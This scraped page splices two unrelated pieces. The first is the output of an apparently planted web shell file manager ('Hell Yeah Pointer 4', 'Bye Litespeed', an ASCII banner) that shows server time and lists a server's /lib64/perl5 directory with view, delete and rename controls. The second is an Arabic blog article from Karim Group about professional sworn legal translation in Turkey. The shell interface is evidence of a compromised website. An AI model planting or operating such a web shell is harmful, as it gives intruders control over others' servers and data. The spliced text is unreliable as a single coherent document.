Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-06 00:16:32
curdir: / / lib64 / perl5 / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-04 11:47:38 0755
.. 65536 2026-01-06 04:38:49 0555
B 4096 2025-12-03 11:13:35 0755
B.pm 31457 2025-07-28 11:07:09 0644
CORE 4096 2026-01-04 11:38:30 0755
Config.pm 3198 2025-07-28 11:07:09 0644
Config.pod 256889 2025-07-28 11:07:09 0644
Config_git.pl 409 2025-07-28 11:07:09 0644
Config_heavy.pl 56655 2025-07-28 11:07:09 0644
Devel 4096 2026-01-04 11:38:29 0755
DynaLoader.pm 25222 2025-07-28 11:07:09 0644
Errno.pm 6865 2025-07-28 11:07:09 0644
Fcntl.pm 4044 2025-07-28 11:07:09 0644
File 4096 2025-12-03 11:13:35 0755
GDBM_File.pm 1551 2025-07-28 11:07:09 0644
Hash 4096 2025-12-03 11:13:35 0755
I18N 4096 2025-12-03 11:13:35 0755
IO 4096 2025-12-03 11:13:32 0755
IO.pm 1453 2025-07-28 11:07:09 0644
IPC 4096 2025-07-28 11:07:09 0755
NDBM_File.pm 2500 2025-07-28 11:07:09 0644
O.pm 4208 2025-07-28 11:07:09 0644
ODBM_File.pm 2383 2025-07-28 11:07:09 0644
Opcode.pm 15893 2025-07-28 11:07:09 0644
POSIX.pm 20198 2025-07-28 11:07:09 0644
POSIX.pod 73705 2025-07-28 11:07:09 0644
PerlIO 4096 2025-12-03 11:13:35 0755
SDBM_File.pm 3541 2025-07-28 11:07:09 0644
Sys 4096 2025-12-03 11:13:35 0755
Tie 4096 2025-12-03 11:13:32 0755
Time 4096 2026-01-04 11:38:29 0755
_h2ph_pre.ph 29256 2025-07-28 11:07:18 0644
arybase.pm 2816 2025-07-28 11:07:09 0644
asm 4096 2025-12-03 11:13:35 0755
asm-generic 4096 2025-12-03 11:13:35 0755
attributes.pm 16929 2025-07-28 11:07:09 0644
auto 4096 2026-01-04 11:38:29 0755
bits 4096 2025-12-03 11:13:35 0755
endian.ph 4461 2025-07-28 11:07:18 0644
features.ph 13692 2025-07-28 11:07:18 0644
gnu 4096 2025-12-03 11:13:35 0755
lib.pm 6006 2025-07-28 11:07:09 0644
linux 4096 2025-12-03 11:13:35 0755
machine 4096 2025-07-28 11:07:18 0755
mro.pm 10099 2025-07-28 11:07:09 0644
ops.pm 997 2025-07-28 11:07:09 0644
perllocal.pod 7055 2026-01-04 13:25:39 0644
re.pm 22687 2025-07-28 11:07:09 0644
signal.ph 3381 2025-07-28 11:07:18 0644
stdarg.ph 2870 2025-07-28 11:07:18 0644
stdc-predef.ph 840 2025-07-28 11:07:18 0644
stddef.ph 12372 2025-07-28 11:07:18 0644
sys 4096 2025-12-03 11:13:35 0755
syscall.ph 86 2025-07-28 11:07:18 0644
syslimits.ph 452 2025-07-28 11:07:18 0644
syslog.ph 85 2025-07-28 11:07:18 0644
vendor_perl 4096 2026-01-04 11:50:44 0755
wait.ph 83 2025-07-28 11:07:18 0644
مجموعة كريم - الترجمة القانونية الاحترافية في تركيا

الترجمة القانونية الاحترافية في تركيا

Blog Details

الترجمة القانونية الاحترافية في تركيا

 

لا شك أن أهم احتياجات الوافد الأجنبي إلى تركيا هي الترجمة من اللغة العربية أو الإنجليزية أو لغته الأم إلى اللغة التركية، ولكن الكثير من الناس من يقع بخطأ الوثوق بأشخاص لا ينبغي الوثوق بهم، لأن الدوائر الحكومية الرسمية تشترط شروطا لتعتمد الترجمة ولتكون قانونية فيها.

لذا سنتعرف في هذه المقالة على الترجمة القانونية في تركيا.

 

ما هي الترجمة القانونية؟

إن للترجمة القانونية العديد من المصطلحات والتعاريف التي ممكن أن نعرفها بها، ومن أشهر هذه التعريفات أنها عملية تشمل نقل نصوص معينة من لغة إلى لغة أخرى، مع وجوب التقيد التام بنظام المصطلحات القانونية، وكيفيتها، وأصل الصياغة القانونية التي يجب أن تتوافق مع القوانين والتشريعات الوطنية للغة الدولة التي يتم الترجمة إليها.

 

ما هي خصائص الترجمة القانونية؟

  • مهارة عالية في اللغة

إن المترجم القانوني يجب أن يمتلك مهارات عالية في اللغتين، وأن يستطيع أن يقدّر البدائل بين اللغتين لتحيق التكافؤ الوظيفي أثناء الترجمة عبر التوافق بين المعاني القانونية واللغوية والنص الذي يتم ترجمته.

  • إتقان اللغة بكامل مصطلحاتها

على المترجم القانوني أن يكون متقنا للغتين ومصطلحاتهم بشكل كامل، وبالأخص المصطلحات القانونية التي يتم طلب المترجم لها، لذا على المترجم القانوني أن يكون على دراية تامة بالمصطلحات وما يقابل كل مصطلح في اللغتين.

  • الالتزام بحرفية النص

ينص على المترجم القانوني أن يكون ملتزما بحرفية النص، ومعناه الأصلي، بدون أن يجتهد في التفسيرات وتأويل المعاني المتعلقة بالنص.

  • الأمانة

إن أهم خصائص الترجمة القانونية هي الأمانة العلمية والمهنية، وعدم التلاعب لكي يحقق استيفاء المعنى، ومقابلته في اللغة الثانية بشكل كامل دون زيادة أو نقصان.

 

ما الفرق بين الترجمة العادية والترجمة القانونية؟

بكل بساطة، إن الترجمة العادية هي التي تكون ترجمة الحديث من لغة إلى لغة معينة، أما الترجمة القانونية فهي الترجمة الأكثر تعقيدا، لأنه يتم استعمال الترجمة القانونية في الدوائر الحكومية الرسمية والمشافي والمدارس، ولذلك يحتاج المترجم القانوني إلى أن يكون مترجما محلفا في تركيا ومعترف به، والترجمان المحلف له شروط وشهادة ورخصة لمزاولة العمل القانوني للترجمة، ومن الشروط التي يتم وضعها للحصول على رخصة الترجمة المحلفة في تركيا، أن يكون من الأشخاص الحاملين للجنسية التركية، وأن يكون غير محكوم.

 

ما هي أهمية الترجمة القانونية في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

 

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.